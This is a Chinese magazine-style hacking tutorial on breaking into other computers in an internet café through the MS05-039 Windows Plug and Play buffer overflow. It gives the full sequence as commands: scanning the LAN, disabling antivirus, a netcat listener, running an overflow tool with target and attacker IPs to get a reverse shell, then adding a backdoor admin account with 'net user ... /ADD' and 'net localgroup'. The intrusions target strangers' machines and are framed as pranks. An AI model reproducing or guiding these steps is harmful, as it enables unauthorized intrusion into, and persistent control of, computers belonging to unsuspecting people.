温 鹏
笔者的朋友小王是个黑客爱好者,有时一起去网吧他要搞点小“破坏”,进行所谓的侵入式攻击,当作无聊时的“游戏”。可是一直令笔者不解的就是,他每次都能轻易得手。究竟是什么攻击会这么“霸道”呢?经过笔者一番“软磨硬套”后,小王举了一个例子来示范。
提示
本文以Windows即插即用远程代码执行漏洞(MS05-039)为例,造成该漏洞的主要原因是即插即用服务中未经检查的缓冲区出现了溢出漏洞,受影响的系统主要包括Windows 2000 SP4和Windows XP SP1。
补丁地址:http://www.microsoft.com/china/technet/security/bulletin/MS05-039.mspx。
扫描检测
首先下载MS05039漏洞扫描工具(http://www.foundstone.com/),这个安全小工具只是用于检测系统是否存在MS05039漏洞,不具备攻击功能。下载解压后运行其中的MS05039Scan.exe,在主界面中,先填写要扫描的范围。通常局域网内电脑的IP都分配在192.168.0.1到192.168.0.254之间,如果此时想对所在的网吧做一次整体扫描,就在开始IP的标签处,输入192.168.0.1的IP地址,然后在下面结束IP的标签处,输入相对应的192.168.0.254的IP地址(图1)。
确定起始IP地址之后,单击下面的“扫描”按钮,这时在下方会逐个显示出内网的所有电脑,以及对这些电脑扫描的结果(图2)。图2中目前所选中的信息条,就是内网机器中含有MS05039漏洞的主机。
在扫描结果栏目内,显示主机Status标签为Not vulnerable的字符,代表该主机不含有MS05039溢出漏洞。如果Status标签内,出现的是vulnerable字符,则此主机含有MS05039溢出漏洞。
守株待兔
下面要做的是监听本机端口,等待意外收获。
提到监听本机端口,自然会想到大名鼎鼎的瑞士军刀NC工具,它以短小精悍著称,在网上找到它并不是什么难事。由于有些杀毒软件要对NC工具报警,为了省去麻烦,先关闭杀毒软件的实时监控以及按访问扫描,然后将它下载到C盘中。
单击“开始”菜单,选择“运行”,打开“运行”对话框。在“打开”标签处输入CMD命令,然后敲击“回车”键。在弹出的命令窗体中,转换目录到NC程序所在的位置。在命令行处输入“NC–vv–l–p51”的命令,然后敲击“回车”键,即可实现对本机51端口的监听(图3)。
在刚才执行的NC命令中:-vv参数代表显示更详细的监听内容;-l代表连接端口关闭后,仍然继续监听;-p进行本地端口监听,后跟数字就是所要监听的端口号。
溢出攻击
“天罗地网”布下了,现在开始“引诱”主机,让它自投罗网,“钻进”已经设下的陷阱,从而能够省去“徒劳无功”的等待时间。
小知识
SHELL是指操作系统的最外层,管理着用户与操作系统交互、通讯、执行等操作。如果能得到对方的SHELL,也就代表着拥有了与对方计算机直接沟通、下达命令的平台。
为了抓住这些含有MS05039溢出漏洞的机器,还要下载MS05039溢出工具。打开一个新的C M D命令行窗口,切换到MS05039溢出工具的目录内。在命令行下输入MS05039.exe192.168.0.89 192.168.0.55 511。溢出192.168.0.89是对方的IP,接收溢出信息的是本机192.168.0.55,51是接收端口。最后参数代表溢出模式,可选1和0,是根据不同的版本补丁来定的。如果此机器刚才用扫描器确实检测出含有溢出漏洞,但是用0总是溢出不成功,我们可以换成1。
按下“回车”键后,开始“引诱式”溢出攻击,稍微等待几秒钟后(图4),屏幕就会显示出带有英文字符的OK,这简单地说就是溢出成功的意思。
返回到NC监听界面,此时就会发现已经获取到了对方的SHELL。接下来就在该SHELL平台中,敲入net user WENPENG 123456 /ADD的命令,将“WENPENG”账号添加到被入侵主机内,再用net localgroup提升这个账号到管理员组。
随后就可以使用远程客户端软件,直接输入刚刚建立的用户名,进行远程“恶作剧”了。也能使用其他第三方软件连接控制等,这类方法很多,可以灵活运用。
本文中所涉及到的图表、注解、公式等内容请以PDF格式阅读原文。